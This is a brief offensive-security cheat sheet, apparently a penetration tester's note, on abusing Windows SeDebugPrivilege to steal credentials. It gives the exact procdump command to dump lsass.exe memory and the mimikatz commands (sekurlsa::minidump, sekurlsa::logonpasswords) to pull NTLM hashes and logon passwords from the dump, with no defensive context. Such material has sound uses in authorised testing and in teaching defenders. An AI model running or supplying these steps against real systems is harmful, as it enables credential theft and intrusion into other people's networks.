SeDebugPrivilege

Using procdump to dump process memory and get hashes

procdump.exe -accepteula -ma lsass.exe lsass.dmp

• We can then use mimikatz to get NTLM hash

mimikatze.exe

• then issue the commands:

log

sekurlsa::minidump lsass.dmp

sekurlsa::logonpasswords